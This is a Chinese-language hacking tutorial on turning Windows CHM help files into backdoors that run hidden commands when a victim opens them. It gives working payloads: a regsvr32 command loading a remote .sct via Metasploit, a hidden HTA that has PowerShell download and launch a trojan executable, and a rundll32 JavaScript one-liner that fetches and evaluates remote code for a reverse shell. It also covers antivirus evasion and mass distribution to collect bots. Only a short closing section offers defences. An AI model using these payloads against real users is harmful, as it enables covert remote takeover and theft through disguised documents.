构造无痕CHM后门

0x00 chm 是什么

CHM [Compiled Help Manual],即”已编译的帮助文件”,它是微软新一代帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式进行编译储存,以.CHM后缀结尾,支持Javascript,VBscript,ActiveX,Java Applet,Flash,以及常见图形文件(GIF,JPEG,PNG),音频视频文件(MID,WAV,AVI)等…,也就是说,我们可以直接利用chm去肆意地访问各类网络资源,另外,因其使用方便,形式多样,通常也多被采用作为电子书的默认格式。

0x01 chm 制作

新建一个文件夹,里面有一个test.html,内容随意

打开EasyCHM,新建->浏览。选择该目录。默认文件类型

点击确认,即可看到预览的CHM文件

选择文件—编译,即可编译成CHM文件。

举个例子

弹出计算器

test.html 的内容为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE HTML>
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=utf-8">

<TITLE>test</TITLE>
</HEAD>

<BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<OBJECT id=autoloader classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",calc.exe,">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
autoloader.Click();
</SCRIPT>

<p>Just a test!</p>
</BODY>
</HTML>

<OBJECT><SCRIPT> 为核心代码,只需将这段代码插入任意html中即可。

按照上述过程制作test.chm文件
双击生成的.chm文件

0x02 借助chm实现meterpreter上线

既然现在都能弹计算器了,很明显,弹个meterpreter又会有多难呢,首先,先把msf起起来准备好相应的payload,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
msf5 > use exploit/multi/script/web_delivery 
msf5 exploit(multi/script/web_delivery) > set target 3
target => 3
msf5 exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp_uuid
payload => windows/meterpreter/reverse_tcp_uuid
msf5 exploit(multi/script/web_delivery) > set lhost 192.168.72.23
lhost => 192.168.72.23
msf5 exploit(multi/script/web_delivery) > set lport 5555
lport => 5555
msf5 exploit(multi/script/web_delivery) > set exitonsession false
exitonsession => false
msf5 exploit(multi/script/web_delivery) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.72.23:5555
[*] Using URL: http://0.0.0.0:8080/CSw0SdX2n23YH
[*] Local IP: http://192.168.72.23:8080/CSw0SdX2n23YH
[*] Server started.
[*] Run the following command on the target machine:
regsvr32 /s /n /u /i:http://192.168.72.23:8080/CSw0SdX2n23YH.sct scrobj.dll

接着,只需要把弹计算器部分的命令替换成上面远程加载执行payload的命令即可,而后再重新编译为chm

1
2
3
4
5
6
7
8
9
<OBJECT id=autoloader classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",regsvr32,/s /n /u /i:http://192.168.3.14:8080/WzRAPJ4u2Pp2IAL.sct scrobj.dll">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
autoloader.Click();
</SCRIPT>

不过,在目标执行chm文件之后,却出现如下错误,目前尚未解决

0x03 利用chm实现自定义木马上线

注意: 最好不要再直接用powershell或者cmd去远程执行下载,不然在打开chm时会飘黑框

为了能让chm在打开时不弹黑框,此处我们就用一种比较间接的方式,用hta来帮我们在前面挡一刀,即 用先在chm里执行hta,而hta里放的则是远程加载执行我们自己马的powershell代码,具体如下

1
2
3
4
# /etc/init.d/apache2 start
# mv /home/test/Desktop/chmbackdoor.exe /var/www/html/
# mv /home/test/Desktop/downloader.sct /var/www/html/
# netstat -tulnp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# cat loader.hta		可以清晰的看到,此hta中放的才是真正的ps下载者

<HTML>
<HEAD>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<script language="VBScript">
Sub window_onload
window.resizeTo 0,0
window.MoveTo -100,-100
const impersonation = 3
Const HIDDEN_WINDOW = 12
Set Locator = CreateObject("WScript.Shell")
Locator.Run"PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://192.168.3.14/chmbackdoor.exe','c:\\windows\\temp\\chmbackdoor.exe');(New-Object -com Shell.Application).ShellExecute('c:\\windows\\temp\\chmbackdoor.exe');",0,FALSE
window.close()
end sub
</script>
</HEAD>
</HTML>

而在chm文件中则是执行上面hta,但执行hta本身却是没有黑框的

1
2
3
4
5
6
7
8
9
<OBJECT id=autoloader classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",mshta,http://192.168.3.14/loader.hta">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
autoloader.Click();
</SCRIPT>

当目标正常双击打开我们发给他的chm文件时,稍等片刻[ps下载稍微需要点儿时间],另外,因为是下载自己的马,所以免杀和马的体积[越小越好]要务必处理好

0x04 利用js来无痕触发chm后门

第一种方式
直接powershell脚本来免杀弹回一个半交互的shell,这种方式通常比较适合针对单个单点拿shell,可能需要人一直守着,一旦看到上了以后,就需要里面进行下一步的动作,脚本的具体使用,如下,先修改监听ip,为本机ip[实战中肯定是用vps的公网ip来搞]

https://github.com/3gstudent/Javascript-Backdoor/blob/master/JSRat.ps1

1
$Server = '192.168.72.23' #Listening IP. Change This.

而后加载执行脚本开始监听

1
powershell.exe -ExecutionPolicy Bypass -File JSRat.ps1


接下来的事情就是把下面的利用代码替换到我们事先准备好的chm中,具体如下,记得里面的ip要改成上面监听的ip,另外,务必要注意value=中的单双引号问题,否则语法错误会造成payload无法被正常执行

1
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");try{v=w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet%20Settings\\ProxyServer");q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);}catch(e){}h.Open("GET","http://192.168.72.11/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

之后,再重新编译chm,丢到目标机器上打开,即可看到一个cmd shell被正常弹回,只不过,这里稍微有点瑕疵,当第一次打开chm的一瞬间,会有所卡顿[其实这个过程就是在执行payload,也可能是rudll32的问题,regsvr32就不会],而之后再打开,就没有多大感觉了

Shell回来以后,为了巩固权限,可立即远程加载执行自己的马,毕竟,一个cmd shell肯定活不了多长时间

第二种方式

原理一样,只不过这次是用python脚本,主要针对想自动批量上线的需求[适合群发]
https://github.com/Ridter/MyJSRat

1
python MyJSRat.py -i 192.168.1.101 -p 3333

访问 http://192.168.72.23:3333/wtf 获取攻击代码如下:

将攻击代码写入html文件

编译以后运行,可以成功获取JS交互shell

0x05 针对chm的后门的有效防御

  1. 利用windows自带的hh命令,便可以轻松反编译chm源文件,通过看源文件中的代码很容易就能发现此类后门
    具体命令格式如下: # hh -decompile C:\Users\scan\Desktop\new C:\Users\scan\Desktop\works\source.chm
  2. 严禁随意打开别人发过来的各种chm文件,很多人就是通过这种方式,把程序员经常用到的一些开发手册[通常都是chm文件]加工成后门后往各个站点里发,以此发来大批量挂马收集肉鸡